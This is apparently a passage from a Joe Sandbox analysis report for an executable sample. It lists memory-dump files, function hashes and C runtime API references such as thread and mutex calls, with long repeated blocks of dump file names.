Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: 804bf012e0126126a654d132eb43b5676784821208a8eae51118aeb5b5824f4c
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: D1112B7720038243E6058A3DD8B46B7E7DDEBC5321FAC437AF0614B758DA22D9459E00

Function 050109D1 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2096131685.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6218cad672271133c1b010448f1ddd7ab4be801312a62c5283266f2df7e7358c
Instruction ID: 5698cee3a4d6ea6eb5dcac6e8a38152e682c3a8a604be1b1a6684af5f62230b7
Opcode Fuzzy Hash: 6218cad672271133c1b010448f1ddd7ab4be801312a62c5283266f2df7e7358c
Instruction Fuzzy Hash: 98E046F620E456AF7105C8013A7CABE276EE3D02307A1886AFC82C0002C75409CA867A

Function 0092A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: c8e77ba441b2076b4fdb3a8954cb0e2b45b6f6683f78a354ae23b2451cc1b9eb
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 84E08C32921238EBCB14DB98E904A8AF3ECEB89B40B650096F501D3150C270DE00CBD0

Function 008F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008F2F5F
GetCurrentThreadId.KERNEL32 ref: 008F2F7E
__Mtx_unlock.LIBCPMT ref: 008F2FCC
__Cnd_broadcast.LIBCPMT ref: 008F2FE3
__Mtx_unlock.LIBCPMT ref: 008F30F5
GetCurrentThreadId.KERNEL32 ref: 008F3132
__Mtx_unlock.LIBCPMT ref: 008F319B

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
Instruction ID: afe7aaedef9b477cd49f5d40b0a21ecfbc6bad82dbbd2b3cf5cd14ab0a22d2eb
Opcode Fuzzy Hash: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
Instruction Fuzzy Hash: DEA1D0B0A01609AFDB20DF74C944BAAB7A8FF55314F04822AF915D7681EB31EA44CB91

Function 0092CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0092CC66

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: d16a4cb6a2d0b0dcdc57006261b4164f1495c400c5e331ca55dc48e39ed1d842
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 81B17AB2D002659FDB15CF28E8817BEBBF9EF45340F15456AE854EB38AD6349D01CBA0

Function 0090BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0090BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BBE4
_xtime_get.LIBCPMT ref: 0090BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BC13

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
